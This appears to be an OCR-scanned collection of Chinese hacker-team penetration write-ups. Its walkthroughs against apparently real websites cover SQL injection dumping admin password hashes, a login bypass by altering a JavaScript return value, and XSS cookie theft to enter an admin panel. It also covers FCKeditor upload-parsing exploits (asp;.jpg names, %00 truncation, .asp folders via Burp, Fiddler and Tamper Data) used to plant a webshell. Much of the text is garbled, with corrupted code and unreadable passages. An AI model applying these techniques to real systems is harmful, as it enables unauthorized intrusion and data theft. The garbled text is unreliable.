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Set—Cookie: ASPSESSICHMIDQCATARDQ=ODINNFALAGMIMNAFLPPECEAFNHE; path=/
¥-Powered-By: ASP.NET
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<%0ption Explicit%>
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WARMBER SR XM T . BEEHEZ M news.asp, U1K 1-5-10:

Response. Buffer = True ' &1F0 @
' FhiEgetiE A

If Request.QueryString <>
: Bﬁ?ﬁposﬂi)\

If Request.Form < " Then StopInjection(Request.Form)

*Fh G cocleiesiE N

"If Request.Cookies <> *” Then StopInjection(Request.Cockies)

* EMIFEE

Function StopInjection(Values)

Dim regfx

Set regEx = New RegExp

reghx. IgnoreCase = True

reghx. Global = True

regls. Pattern = “#| ([Wa\b+t () 1+ (zelect |update |insert |delete|declare | |exec |dbec |al ter |drop |create |backup |1 £ | else|
Dim =ltem, sValue

For Each sItem In Values

Walne = ValneeeTtam]

s

Then StopInjection(Request. QueryString)
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————————————————————————————— TddZBES324075¢
Content-Disposition: form-data; name="file"; filenames="l.shtml"
Content-Type: text/plain

<l== #Hinclude file="../tcefhudsih.mdb"—->
————————————————————————————— TddZBES324075c
Content-Disposition: form-data; nams="file"

Ll dl=dl

response
l/raw rheaders rhex |’htm| rrender |

Set—Cookie: ASPSESSICNIDSCDTETCO=FMLPHHAAMIOFGAPLEFNHOANL: path=/
¥-Powered-By: ASP.NET
Date: Mon, 24 Jun Z013 09:19:10 GHMT

<script
language=javascript>window.opener . document .forms [0] .elements['"'] .value="'20130624171911.shtml’'
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{ing sre="icans/hr, zif” TITLE="5A A 4" onclick="javascript:format ( InsertHorizontalfule’): " WIDTH="16" HEIGHT="16"
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fE#: Strive

KH: EERIE - FackTeam

Mk http://team.fack.net

AT BT A S — A0l , USRS EARAR, FIURTHA, FEE—HEIA%.
WAELTH T, FIRFK 2 —FE%, WIS w15 s r A ZmiR

H safe3 FA—HHBEN R, RWIFE b dB A

i 1-7-1 F1E 1-7-2:

& Safe3 WebBREMAKEWEVI0OL Crack By Lkou[LCG] Httpy//www.52pojie.cn

¥ 52 XER TRy
(@ Bttp/ —— GET v
IERR g Ll -1 NIRRT

[V17 svaseript PufiEn Pty MRLEA  [OxssHEk [¥]Wene NP ey
OLeRa DERIGR | |[[bsic ‘

® s DeEhn ONERR | i Iussrard: |
() Ur 4855 Logout | “r—']m‘ 2 Demain
Rt

b mi oo &8 |

& RALT CIEREYRSLNE

http. / ———bunshi phy?£1 6715 D) R TEsqlE AT

B 171
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Target: Ihttp:{fWanshi.php?ﬁd=15

[ Kepword: |Aut0 Dretect [~ Syntax: |Aut0 Detect

Analyze Fause

D atabaze: IAutu Detect LI M ethod: IGI:_l' LI Type: IAutD Detect ;I B‘ d
Load Save

Past [ ata: |

& ) e 5| a 8C & T %8

About Info Ta-bl-es Read Files Cmd Shell Query  Find Admin MD5 Settings

@ = i) i . 5 =
Stop Get DBs Get Tables Get Columns Get Data Save Tables Save Data
-] adlink_itern -
-] config

-] content 734c1757e2025f2e226a70f2feecfG37 admin
-] content_colurn 990b187c674418871226aba7fo2f18d2 ceshi

:E ngt . e103dc3940baS9abbe56e057F20f883e jczn

-] questback

B[] manager
[

harme

password

[1 realname

passward name

: - 4 I |
[¥ Use Group_Concat (MySAL Only] W Allinone request. [ Forcetouseit W Clear list on get

? Status: I'm IDLE Clear Log

s

Data Found: password=999b187c674418871226aba7f92f18d2
Data Found: name=ceshi
Data Found: password=e10adc3945ba5%abbe56e057f20f883e

Data Found: name=jczn

ol

B 17-2
fift 5 admin [ md5 J51551/2013, REE SN SMEMS IR, REE? ARIE, 7
TS TEACKEE B, BT RER UG &, TR TR, RIS HoAh i B 01 T
TRIMANG SRR KIEN R BT R, Wkl 1-7-3:

miftiPower CMS RIS ERRRE R

FAF%: admin|

——

F B:eeceeee

BRI

K 1-7-3
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WERM L TIZA cms [ exp, KIHIEKE, FA#EE.
TRARE T TR, E 1-7-4:

or="#ff0000" > FIWUELM « font

or="#ff0000" > & F i uE LM | </ fort > ;

or="#ff0000" > IF = | </ font > ;

or="#336600" >3 IFREIh EH ] < font >

K 1-7-4
HAE T NERM, e 2 BUrmEEmE?
TREAETE, WK 1-7-5:

if (ret == "-1"11
documert. getElementById " bt login’ ). dizabled=
document. getElementById " loginmsg’ 1. irmerHTHML
document. getElemert ById (" uzername’ ). focus() ;

return;
lelse if(ret == "-27){
showVCode () ;

document. getElementEBvId( btn_login’ ). di=abled=

document. getElementEBvId (" loginmsg’ ). inmerHTML

document. getElementById " username’ ). focus()

lelse if {ret == "-3") 1

showVCode () ;

documert. getElemertById " btr_login’ ). dizabled=

document. getElementById ] logirmss" ). irnnerHTML

document. getElementById(’ wocode™ ). focus () ;
<Felse if(ret == "17} ]

document. getElementEBvId(’ loginmsg’ ). inmerHTML

top. location. replace (" /mé™ ) ;

B 175
IP 2R E IPKIZN 1 EHESE return T IRH T, AREAMHAZIGUERM, A7 -
ERIGUE ) Jo 2 2Bk ) m XA H 30, anEl 1-7-6:

ciocu.ment. ge%:E-lementById(’ logimmsg™ ). irmerHTML = " <font style="font-size:1%px;" color="#336600" >4 uF A Th B TR </ font>’ ;

op. Iocation. replace T

K 176
Ja kbR — N ACRIR R, KRB 1-7-7:
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Var Wl = /aanager) Logun L gty
pats = “usernane="Hooument, getElenentByld  usernane’ ). valuet " passvord: " Hhooument, getElenentByld  password’ ). valued " bvcods="Hhooument, getElenentBylal voode' ), valuet™

B 177
XHEA A get 1K, TR T
varurl = “/m/manager/login.xml.php”

TR 7T, WK 1-7-8:

TN [ e/ manager/login.xml.php
ThackTeols (07 =% [& 5525 ) Google [Y2608%  waigs &Y FasE EJ Facebook

% WAES =% - RE, 2RESE? |83 T

T}mﬂneﬂes not appear to have any style Informatlon associated with 1t. Th

=14 v

K 1-7-8
RV BRI E-1, FURBERUERI T, BRI HTE M2 1.
TORIRAE arl Ja TN LT K-S ARG .
ikl 1-7-9:
« CAH |dw-ﬂ_ﬁﬂaﬂage|';'Iogi-‘l.x-ﬂl.p-wp?l_lser-wa-ﬂe:ac:-11i-1&passt.ﬂ;orc::!HEOlS
[(J'hack Toals [ s EE&?: EGoog|e E360E_§ viirEs B sasE B racebook EEHDE ’

This XML file does not appear to have any style information associated with i1t. The document t

Ll vy

K 1-7-9
RIVIXBIRAERY) 7, T 2SO E 1) m 5 H %
RIIESRAAT, MiZeik 2 —ANgiEid, TRIHAETERAN B & IMA 1 showVCode() i i
B, BOZR P ] 5 UERS .
TR AE % T A HLT AT\ javascript:showVCoode(), IR BB IERD, e fE
UERs, AT
http://www.xxxx.com.cn/m/manager/login.xml.php?username=admin&password=!ff2013&vcod
e=54713. JRMIRAN IR, ARG HES, RIFFELEZ 1.
TREM m B3, KIBIIHENGE
w1k 1-7-10:
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R R ee——
(7 hack Tools (] x&eE (& BEE= [ Google [Y 3608E= vengs o) wasiE [ Facebook |3

Power CMS MM HRAL A

adnin BIETREERG BLEFE
B BT | £HEE hEEE BAEE | ESiEE | AR | aomE | st ke | BERE | 8

o bEne o vEER L
> EE EREAE . HiE. > ks BREA . HiE.
BRPTFERAEANEE BRAEFERAE NS
G- SR
i BERER @,/ HERES
S . 7 sememammie.
% BRSREERAE ANEE Iﬁ aEe
SRR \
PP
WA P s, i
' BB 25 LA 1S S EE GEMSmERS- Cooki=ilhil:
"y % RS
MR SIER
e BiEEH \ .y' ek &
LY atrersms TER BEMPEERRED -
S e Iﬁ
! ALiew y EEAER
o R — & B, . WAEEEER
\/ o EEREE.
Kl 1-7-10
47, BUEEEE shell 7o T23UatEl 78, KB LALZ fokeditor. Muif BIX H LA,
ikl 1-7-11:
= ERLL -
X Efh:

F EEAEMTHA2EE:  F php* php: jpg” doc:” ppt* xls:" mdb:* exe:” cdx. . jpg.asp ™ ixt: |

REYTHERE 3026858 |

B 1-7-11
B, T REME s~
AR~
RILEAEA T 1L AR~~~
BERRLIERIKT .
fENTIRTR AT, T2 AR BN LRI & o vl DU A g i 07 AR — 245 5.
TR /NSS4 T B e 7 %38, A% J5 K I AT DL g o
e 1-7-12:
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.@awg -o-z(mw:)-llu mm: n ] —gmw-(mm-z;

Cirzis@ M. HERTE FUN iLe2R 196 W WO WM 1 0B O Tl W2 W BTN ATATRRIN §

.00 | © BAGOMET Wik @lture /i@ MHMETLNT HEHE T ORRROI NG5 110 1150 O OO OGS IALH G« «
2 0‘ 1Nl 7o ] nuo IRAERETE RO AR (0f5. wmzmlumsmn.mm QOO ERCHLE MERAN] GCXr 2 7@ (K
E_EQ MU YO ENR 00,10 © CRARETIRE MR €11 U OMVECEQ LR N oN O, (BRI T 14
VEEHOUTAREE L ENT OnA0r0l\ [N R oMt (00 -0/ i1 MLIO FALOONOAIIT &7 &

B 1-7-12

TR, —aEEZ, WK 1-7-13:

= hittp: /v -t il

=0k ~ | R !
203, 93. 106. 36 B 8], it es5) EFR A iE ol Ett S
ERSgT: ! [B3 $RECYCLE BIN 0110825 001822 0 oFer
B 100 wiwraot 3 20 20203120027 0 irer 5
B3 i dax 3 3E0Dowrloads 20130315 14:23: 21 ] (iverd
(O files upload 3 back 20121211 220658 0 0777
& 5 20130805_03433578 T dE027i08a474a0d9 . 2012121 140748 0 0777
= ba‘?ﬁ tat 3 dats 20121012 175353 0 irer
= ;BJ{;%;{; # &3 FILES 20120208 144405 0 0777
I3 Intemet_Download... 201202400 085816 ] 077y
|5 $EECYCLE. EIN
& 360 ' T3 Microsoft SOL Serv.. 20130301 161053 0 irer
) 380Downloads T3 MicrosoftOfficey200.. 2011-022311:3313 0 irer
[ MSOCache 0110829113335 0 0555
[E] back
£ dB02T 054740495 caBdeadaf350 I3 MyDrivers 2121211 14:29.14 1] 077y
) date i mysqls.0 0110827123333 0 oFe7
FILES i ravicat 010827123316 0 oFe7
[E] Internet_Download Manager E] office2003 2071710827 07:3544 1] 07ys
Microsoft SOL Server 2005 MR & I3 phpmysgl 2017-08-27 151053 I o7es
5] MicrosoftOfficew2003520 I Program Files 2M13-03-15 14:24:37 n 07es
=1 MSOCache I3 RECYCLER 2011-08-29 104650 i} 0777
0 MyDirivers 3 System Volume Infa... 2011-08-27 134310 0 0777
0 my=ql-5.0 B2 windows 111104122240 0 0777
[= navieat T3 wmaract 201 30605 2005832 0 irre
0 office2003 &3 wamep dMIOF 143057 0O 0777
I3 phy 1
= ; EnyE - i wamppbac 2001-08-25 002337 ] arer
o rREAn TAREE 9 C3) ZendOptimizer3.3.9.. 20110825 016321 0 0777
¢ 3 e 230315145310 0 0777 -
tath Mot Found Or Mo Permission! GB2:
B 1-7-13

BUBRIEHER, a0 SRAG 550l (IR AT LS 3s, ANt AR o7 i), $RBURZRIEA 45 R .
A DX AL AR A AT LR m 3R
(&5 st 71 SUTEER: xfkxfk

AT —Wxss EWM TG 1T fck2.6.4.1 E shell

Ve Isoftlove
KH: & iRIE-FackTeam
Wk http://team.fack.net/

H sl A www.xx.com. B A EN, AL FEBHEAH R EEWmRAR, TRER] XSS 78
WXk LM — N P SRR RS R L H T FR N xss AXAS .
SREB TR, K 3-1-1:
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HAEE >>&KEEH
BEHAGR

R ol - ©61 *UAkac

Url https/www. o, cn/ vl din/ Technology.asp2ck
ASPSESSIONTICAMQDAAD=EFNT TBIBDHCLPAPEFFCOPEBN, CHZZDATAZZ80288=cnzz_ei dX3D17827010
AB-13T041TT9T-ht L pR2S3ANZS2FRE52 Fow . . <0260t 1me¥301 372301219826 cnzz_a%300
2Bretine%3D1372301219250%2651 nh3DK26] £ ine¥ID13T230121 9250%26r time¥3015; Admin=601

Cookie

3-1-1
WAEIEE T http://www.xx.com.cn/xxadmin/
T BEEE 3 http://www.xx.com.cn/xxadmin/index.asp, 1K 3-1-2:

3-1-2

KRG/ BT 7R XSS B 2 5 & 8RR B B0 e A% BT oF
— AT T ut E AL ) http://www.xx.com.cn/xxadmin/index.asp H T XML 0% & 2 A G
G bk 5T IS A —4 technology.asp?
FHAIBIE LA R loginasp 2K WAHUME U 7 MR,
PLRTIE I cookies — M H EE login.asp FTHFASGE T cookies 2R 5 #t login.asp U index.asp
AT LA, AR IRANT ARG /2 index.asp 1M HiX T meum.asp left.asp main.asp #EANT & Fh
HRAMEAKRBE G asp -
FE T T2 NS6.0 BT MBI RIS 1S f5 -2 A H T EF 25 A i SRS

| java scanner 2 20 %1 http://www.xx.com.cn/xxadmin/ ‘
23, W 3-1-3. 3-1-4:
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b * 11 5+, URLFﬁE;JEHH.uum we_conspluss

RLThh}ﬁﬁ_tHTIP; http: /2w v 1. Gy admin/

Target = http: Auww. W% con.enAyoasadmnins

How much delay do you want after each request in milliseconds [default=8]
Hax delay after each reque in milliseconds = 8@

Do you want to use proxy [Y=Yes, Anything Else=Nol?

Ho proxy has been used.

Scanning. ..

: FCHEDI™1
CHECKU™1 .ASP
CHIOCE™1 .AEP
ADHINM™L .ASP
BIOS_L™1.ASP
ARRAY _™1.ASP
NEWBUF™1 .ASP

: MAINCL™ .A

COUNT_™1 .ASP
: COUNT_™3.ASP
NETWOR™1 .ASP
MATH_A™1 .ASP
COUNT _™
HETWOR™2 .ASP
: OTHER_™2.ASP
COUNT _™2.ASP

PHOTO_™1 .ASF
: MEWPRO™1.ASP

% 3-1-3

FUNDS_"“1.ASP
PHOTO_"1 .ASP
NEWPRO™ .ASP
OTHER_"1 .ASP
LPRODU™1 .ASP
MEMORY™1 .ASP
TECHNO™1 .ASP
POWER_"1 .ASP
TECHNO™2 .ASP
OTHERD™1 .ASP
INCUPL™1 .ASP
PHOTO_"2.ASP
PRODUC™ .ASP
PRODUC™2 .ASP
ZBSL_A™ .ASP
WSDG_A™1 .ASP
WF_ACT™ .ASP
DPRODU™1 .ASP

K 3-1-4

HEAESNE, EETLUE:

File: ADMINM™1_ASP

K 3-1-5
M.iZ & adminmain.asp FIMA B R, Wi 3-1-6. 3-1-7:
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B

WWW. . Com. cn/ammmadmin/adminmain.asp

3-1-6

EREE| BUAE | BRAE | IS | XTEN | BRESHEE | SRER| TRER | S8 £FPTR| ARER| A EH
) : Y | GEVET | Uit | SN | 8RR | IR

BRRANE | FNERA

ERIR | HITH

B
BRAR | T8 | HPs
BTRAR | TS | MR
BIAR | P | MRS
BRAUR | oS | R
BRIR | RS | MR
BN | D | MR
BRAUR | 2

BRUR | 12T

3-1-7
PS: I AL T AREHEHXAEEATLL, Wl 3-1-8. 3-1-9:

WWW s, com. cnallladmin/ Technology.asp
3-1-8

FREE | 6% | BME | RS XTEN | RESEA| SARE| TR 6180 €ZPTH| AHER| BAEN
BRE | GEWERT | Weltkit | XN | SRR | R

3-1-9
Ja R AR R BERAXAN T LL ARE AR, A KINEM A cookies R AEIRFEE— TR
B e RS B e S AE L, Wik 3-1-10:

EIERM: gEEEEE -
Http Only: (V] [Ho =

wepetia ¢ [ [ |2t end of session

& 3-1-10
XEEHAT, WK 3-1-11:
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Ao - 1L T W T s

Http Only: Ho =

date Ry

June ~|[28 | » |2003| B |15 | : |12 | ¢ |54
El= O BEED mE ®8

STHARE : June 28, 2013 15:12:54

&l 3-1-11

H > y
TR0 D B Yy AT LARAME iy, &l 3-1-12:
AR IR g i &00/8
Conkies B3
COEEDATACE OO arur ot VDN IR~ 1701 TR =it RS R PO . enRhat me ki1 T2 A enr e o O ama A T200 21 N ) AR L T E0 R i IO v Btk
JSTSESSTONTDOCCTUCE; ASPSECSTONTDCAMDAMEFWITETORCLIAFBFPCOFFE. hdwnsgll CRTIDATAZZA020S cnre_vi ACI001 1961 1668-1 ITEDENTT-hA L ST ARISZIISE it TZTT e |
R0%Er e ki K31 TT22037) SER 001 aNRRADEL una DN 3720037 | G202 | ima 300, ASTSESSIONIDOCCTCCDB=THOME FEEDADOCTAOLGERE], VEL<2F gt ¥ Fproduct ¥ cpprn ¢ o8B s R uap P ey Wity L 1Y it
SRS T RS e d RS TR TR M

Fal®| BONE | BRUE | RUESD | 2THD

EARA® | REENHE

K 3-1-12
IANE B R, WK 3-1-13:

BERAR | WEEER

mH

S, EHEL )

& 3-1-13
FERRER 2k ., i 3-1-14
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HRRIE | REETER

+ EzT#n Herse ivese Moges Mrzpre

& 3-1-14
Ps: N A% HE—K, W 3-1-15:

Te~ dm-

Ak T L LA T FCK i URL EANM T TR R0 S 3 T IX B A FH A, AN R RA
& 26.4.1, ?E%ﬂ%?ﬂ%‘ﬁ%&’%b? & 3-1-16:

95-]_‘ FCKeditor

| 2= w90 sxmes

i CKthe te:-:t editor for Internet .
editor 264.1

Build 23187

Ll

Selected Sponsaor
Support Open Source Software

i FredCK
Spell Chack
AsYou Type
Ef#BE & 55153 hitp/www fokeditor niet /. Become 2
Copyright © 2003-2005 Frederico Caldeira Knabben Sponsor

& 3-1-16
A A 156.0 11t LA 2% F& g A ks I
AR AN L.asp 2 H MBS 1_asp, W1 3-1-17. 3-1-18:
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Bz EH
EE | EZE | L= =S
Hht
GlEEEs
57
| <EEEE: v
3-1-17
Resource Type
Flb v ,
(0120
1 asp

F1201306271546575601.ipq
g F201306271552054711.ipg
[ ] F2013062715532877
[ ] F201306271554299688 2sp:1%00ipg

& A

£3.3spx; %l

=

3-1-18
ETERNEE T N2 = B ima N n] L %00 #kr, K 3-1-19
2011-03-23 00:49 | BE-% (EXTOEF | Rank:63 g7 | BREEASELZRMENH)
http://seclists.org/pen-test/2010/ul/0 EEEEET

2012-10-25 23:36 | GBdSnow ( SETEIEE | Rank:21 iwRE S | —EERTHA, SM0REE L)
EHETEAETIR, xssTIHREER. o « . . .

3-1-19
N E|B)EEH ZR FCKeditor S AR« AR« " N RIZe I gent Tk, 19 BIR 25 3, anEl 3-1-20.

3-1-21:

a5757124 || EFRT 12 ma  AEEEE
[SEgn! http://www.freebuf com/vuls/6408.html 82 310
:5‘_}1'
gl 7 ik
K 3-1-20
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#F LR 200 #hBr L5, e, HIETRENMETE
gl 5k
T =Y
ZM 6 -7
bS] SRR
E-1TiE EkiEa
E1p=)
xlz0izal D ET 2 mE | REEEE
e = burprRILAZEHE BRI
| 29 ik
oy 0L
E=mM 10 -~
== I e 1
£-1TiEF EEHEE
[E1§=3
Arel D BT 2mE0 | BEREE
(Sl EEET
3-1-22
TR E R T H AN TAMPER DATA , & 3-1-23. 3-1-24. 3-1-25:

IUpload a new file in this folder
(] Create New Folder | =

EHD-4sE\1. asp:l. j

3-1-23

Tamper with request?

http://www. R om. cn /e dmin/FCKedrtor/editor/flemanager/ connectors
/asp/connector.asp?Command=F...

| Continue Tampering?

| Tamper ‘ f Submit | 'Abort Request“

5 3-1-24
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Tamper Popup

http://vwoww.msom.cn Ssadmin/FCKeditor/ editor/filemanager/ connectors/asp/connectorasp. ..

Request Header Name Request Header.. Post Parameter Name Post Parameter ... |
Host www.olle.com. (||| 2 2 0| m———— 3
User-Agent Mozila/5.0 (Wind POST_DATA .5?37531?14?3 ? -
Accept text/html,applicat
Accept-Language zh-cn,zh;q=0.8,e
Accept-Encoding gzip, deflate
Referar http://www.
Cookie ASPSESSIONIDCC
& 3-1-25
MR . BUk %00 HiEFIRAS SFTLL, K 3-1-26. 3-1-27:
Post Parameter llame lf_m:t Parameter .. Post Parameter Name Post Parameter ...
POST_DATA %_‘rm i f"f'l‘a'“‘a:"m |

\nContent-Ty ~

"
0 oo .

3-1-26

£) FCKeditor - Resources Browser - Mozilla Firefox (Build 20130511120803)

Start Tamper Stop Tamper Clear Options
Fiter
Time Tota
16:11:30.680 2. 266ms P
16:11:32.387 8. 826 ms
&l 3-1-27

SEJERERT), K 3-1-28. 3-1-29:

D A201206271611382332 asp:1%:00ipg

IUpload a new file in this folder
| [} Create New Folder |

@ iFita 0 =& [ #mima

hitrml body table thody

B >
<td width="18" > - <ftd>
= ctd

“a

omeliclk="0penFile
return false;”

Fupfiles/ filefF12013062T1R11332352 asp; 1400 jpe |J .

& 3-1-28
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] hitp: /vy e c/up...

[ d: \wwwroot gmmiupfiles\file\ v #
T B3 @), @) &t fiflel
wC: & 1Lasp 2013.06:27 15:46
B & Lasp. 20130627 15:46°%
B 1 wreroot 1%, FI201306271546575601 ipg 20130627 15.46
C . 8, F201306271552064711 jpg 20130627 15:52(
B wfile FI20130627155:3287763 aspw:20ipg 20130627 1553
50 - FI201306271554299688 asp:1 %00jpg 20130627 15:54
| 1_asp_
o E:
el
i G
e N:
3-1-29
BT H St IEZE R fiddler 5 burp suite FTPA—#Zid 3% o
Tk

{# ] burp suite F¥H% fckeditor, A& 1835 T VL BSR4, & 3-1-30:

Explorer RIFP#R

B#3ET:

Type the name of the new folder:

‘E QSE I
P, FElourp sute, BEHIRA. TELFB.aspXfFREEATIL:

—ommand=CreateFolder &Type= ImagEE CurrentFolder=% ZFWE WFo ldechame=5. asp&lu

FIERIS aspiTsg8.asp, (FEFRE_asp, MR RFEIIFNEZ, FEfTE.
B2, % T BNewrolderName, &8 CurrentFolder, 2270 /. 18I TRESCHINZER M A, TE. « BERI T CurrentFolderfIERA & /204
/B.350 .

CreateFolder &Type=1magel:€urrentFo lder=/8. asﬂ&NewFo lderNawe=58,aspi

HoEE TERDEE.

"><CurrentFo lder[path= "/8.asp/" url="/Files/images/8. aspf]"
]

o O = e

BEFIUFERINT .
AfE, FRIE— T fckedtor®fI BirMREaE: ALAERl, S.aspXi$ECEEmInER! !
(] gasp |

Filt, FACEHNEST S0, BTk, . BHEWET v
K 3-1-30
FX T TH TAMPER @ ATIMAZX/ME R ALk %% burp suite T2 T fiddler, 0
3-1-31, 3-1-32:
e Sy gt | e N
B=hkrS=(5) 1ERZRI(B) Fil

EESHNR)... Ctr+R Ui fR(A) AlE+FLL

i .
IR (P) FH(D) Shift+F11
SRR GZIPRED (2) v EEEN (D)

ANIRA A vl T T

K 3-1-31
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Type the name of the new folder:

|11. asp

K 3-1-32

A CUR B L) U T, dnpd 3-1-33:

5 Fiddler - http://..

com/ctfysj

YHF) GEE) REER) IAM) NBY) B
Yk R XBR- b oone $5 Nak Her @89 QEkes HRRE HhE

Web&i&(S)

<<

’E Ml

WWw,

R

rooman [

3dmin/FCKeditor fe(

O) it K UR | £ e

& iws

Headers ] Textview H\ﬂlebForms ] Hexen |

K 3-1-33

&2 currentFolder A /1.asp, W& 3-1-34:

227 m/3t 122 W
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Nagme Value
) Command CreateFolder
Type File

CurrentFolder /

NewFolderName 11, asp

uuid 1372321770354
*
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SIER rREF XBER- ) 2ERE $H NER BEF @ B3 E RERET
Web&i4(S)

SUMEBR [N RE  MSDON MR @ Ry

Type

£ RE | R T W Headers | Textview Hexview | Auth | Raw | XML
u 0 - HTTP wwamiiecom.cn  SEIRmIn FCKeditor fef
Naze Value
Comzand CreateFolder

ile

]{:u:ronti‘eiﬁw i.asp

]

NewFolderNazme
wuid

*

3-1-34

BATIRAE, P 3-1-35:
s Fddler - http://J°

| Transformer | Headers | TextView

il.asp
1372321770354

Break on Response I Run to Completior

ImageView Hex\View

YH(F) @B(E) BBR) TA(T) ME(V) HMBHH)
)ik R X Bk - 2wxe | Br Asm Wer @8

R

wq 10 aide ~ ! A
{1 & 45115 L 8 5 80T B & Ebreakoonts.] €

- R7= P XL
U 0 - HTTP vl com.cn
&l 3-1-35

URL

[ gm—nin [FCKeditor fe

He

EHREEE AeWKE — IR e — AN N AS . AR EZ currentfolder 4 aa.asp

NI FR48 T BT LLE S, @& 3-1-36:

Xt#(F) @WE(E) wER) IAM NE(V) HMBH(H)

)i CREF XEBR- ) 2TRE $5 NEx QT E8mE QEkEr L RBE [z M

<<

Web&3&(S)

| O Hit| K eR | £ asnm | & Er

FH URL
wquom.m @ >cmin/FCKeditor fe
www galllacom.cn [ dmin/FCKeditor feq
v AERM.Ccn  jagiidmin FCKeditor /e
task.browser.360.cn  fonline/setpoint
WWW, VERCom, CN ‘dmm,’FCKed»tor/'e

PR

BeLEE «
33333

LW N - O

Headers

TextView H\'v'ebForms HexView

Nazme Value
GetFoldersAndFiles

File

Command
Type
JCurrentFolder /aa. asp

uuid 1372321908882

*

K]

3-1-36
S AmE ok /i, i 3-1-37:

111 asp
C]1asp
C11asp
(] 2asp
(13 asp
™) 8asp
~) aa.asp

Cla asp

2

E575601

itals]

2oy

X F120130627154
K| 3-1-37

<]
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7E 8.asp L% —A)1E B D upfiles/file/8.asp/FI201306271633432192.jpg
3¢ J1EHE http://www.xx.com.cn/upfiles/file/8.asp/FI201306271633432192.jpg, 1K 3-1-38:

PE

ESETI@20100... | () it /v e
(. d: \wwwroot' \@mmimpfiles\file\8. asp\

P BRE ), Q) S 5|
<o C: ) n_asp 20
[=] < D: %, FI201306271633432192... 20
= (] wwwroot
= .-
= ] upfiles
= file
Sh®5. osp
] n_asp
o E:
o F:
o G:
o H:
3-1-38
Tk =

i FH burpsuit T3] JAR H3& T 1247 java -jar burpsuite_pro_v1.4.07.jar G LA,
KON ERCE —F, a1k 3-1-39

T

A wFEIOIE O AT EREERFR S RBR

B | B | PR | | |

iEE
RS Firefox I0MEEREE FNEF] BE(E) J

BoE i E i R 438

0 Y

() EEhtEiH PEER IR (W)

O ERFERRAEEE

@ FhEeEHIE (M)

HTTP #£38: (X) | 127.0.0.1 O (P) | 80805
—hRERE R E R R R
& 3-1-39
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ERAERE ON AU R ERIN Qe MW 1 BT ULAE S — NI R rh (AL AR B s

:

about:blank

HEMA T 2% forward, TIE 3-1-40:

=3 L UYL LK

NIGILERL l Ypuwia | nawny |

Resource Type

Ca—

regsestio ip el ) (R

forward drop intercept s on action

headers | hex

GET

/il in/ FCReditor/editor/filewanager/ connecto
§CurrentFolder=42Ffunid=1372323616354 HTTP/1.1
Host: wuv. . cn

User-Agent: Mozilla/5.0 (Windows NT 5.1; rvi21.0
hecept: text/hewl, application/xheml+xml, applicat
Aecept-Language: zh-cn, zh;g=0.8,en-us:¢=0.5,en;q
Aecept-Encoding: gzip, deflate

Referer:

hetp:/ /vvv omm—gy . cn/ wEEEpin/ FCKeditor /edito
$3A52F42Fwy, wme. con, ot 2T el ins ZFFCEeditor,

& 3-1-40

BRI FRrEscrde, Wi 3-1-41

Type the name of the new folder:

|5. asp |

K 3-1-41

A forward J5 HELXAS, K 3-1-42

2030 mi/4t 122 T
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request to hitp://iwww s com.cn:80 _

forward ” drop interceptis on action

raw rparams rneaders r hex |

ET
I::’;_dmina‘ FCEeditor/editor/filemanager/connectors/asp/connector.asp?Co
nctFolder=%2ZF&NewFolderName=5.aspsuuid=1372323694317 HTTP/1.1
& - U I
User-Agent: Mozilla/5.0 (Windows NT 5.1: rv:2l1.0) Gecko/20100101 Firefo:
Acecept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*%;q=0.8
hoepept-Language: zh-con, zhyg=0.8,en-us;g=0.5,en;qgq=0.3
Accept-Encoding: gzip, deflate
Referer:
htop://wuw . o, cn/ essminin/ FCReditor/editor/ filemanager/brovser / di
$3A%ZF%2Fwvy .. WERCon . cn% 2 FillReei n% 2FFCKeditorsZFeditor%2F£i lemanager!
4]
Cookie: ASPSESSIONIDCCCTCCDB=LHABFPFNEAFPABEFPMOOGHOHEFGC: Admin=568;
URL=%ZF wnammtiesin% ZFproducti2FopupricesSFlistsZEasps3FepysSFoypesiDall
Connection: keep-alive

3-1-42
%2f Hie / HIEE
FRABNT, WA 3-1-43:
forward drop interceptis on action

4 raw | params | headers | hex

K 3-1-43

intercept f opfions fhistory |

about:blank

|H§|snurce Type | ﬁ / forward drop interceptis on action
e L4

raw ’/params ”headers ”hex ‘

382332 35p:1%00pg

K 3-1-44
(&35 TUESmiE: FEMEALAE
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F5H  Linux ANBE R B

{E#: Chaplin

KH: EERIE - FackTeam

Wk http://team.fack.org/

—. IR :

RUAMSE %, e wys F1—i . SR JE5 45 3
TS SR i, G55 A RiEAT I, ik 3-1-1:

Scan Results I Status

B -& Scan Thread 1 ( http: //2 ST ST ) Finished (283 alerts)
E- ﬁ& Web Alerts (283)

- @ Cross Site Scripting (verified) (22)

- @ iQuery Cross Site Scripting (5)

- @ Slow HTTP Denial of Service Attack (1)

#- @ Unicode transformation issues (27)

o Weak Password (2)

] fiemsfindex_jcms.jsp

-[] Mvcfindex.jsp

|»

B 3-1-1

FEHBER IR ER G &, WK 3-1-2: (FTHIHA google WIS A8 Tk B4 S M, 4t 1E BIAT)

< CMS2010 B EROR ARS8 hanwedty of BYEG

WEEE  RFEE | CEWE | FRes | TRt | FReSh | waewE | rRhE S EARG) AR
s HREH: PSR ) ERSH o

& T AFAGEER R wz
e [DWpR oW 2 B

B ggzﬁ FEENEHTRR
[ eEmses
0 enems|

B 3-1-2

BT EOL R 2 JGE#AT EA% jpg,gifpng ZAMPSCHE, T burp suite SRIEAT R EAE, T7iE
TRTET R, b EARRIET, ] 3-1-3, & 3-1-4:

Jeus |
Ll B iR A
=Y
- ER %
P s
[ =] EE: 1. LbfAisdpEl 2. F4isEF oifipo.pngiped  3.EIIEHRYAC]EPRHITE 10MB
LA 4 —2RE] 51040301
P | s S BRI
x :|
- e kB RIRaH B,
A mal. jsp ZEHN s O
- A %Eg_}% P RETER, SR s, e -
=
=
- [ ermomkmT En
£ o
= L S IR P il
= ~
= i
=) px
- twmEE | i@ | I._:_v— K4 g
2N42 NO 14 4 =% ‘: _': - > ~v_
attp://210.75.207. 83/ jems/m_S5_3/choose_frame. jsp?type=2ékind=1 @ R | f%?P#E't : —.-curlty Team—‘
Kl 313
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i Filter: hiding XML an yeral binar itent
. | UR params nod stalus

at IPOSTE 00 VEr=0UOMI_U 3.8 USPOS=20125pI0=99s % 200
2 jcmsiscriptieuploadimagesiprogress gif 200
48 fjcmsim_5_3Upictureiopr_pic_subgroup_load jsp il v 200
49 icms/scriptifileuploadicommon/css/abundantwindo 200
50 cmsim_5_3dpicture/que_pic_choose jsp?dassid=0 v 200
51 cons/Qvod Plaveris2=20130815 vl 1304

—mmm—m——————— | € 14QLECHIGIIGIIGI34c0KN7GI3
ntent-Disposition: form-data; name="Filenam="

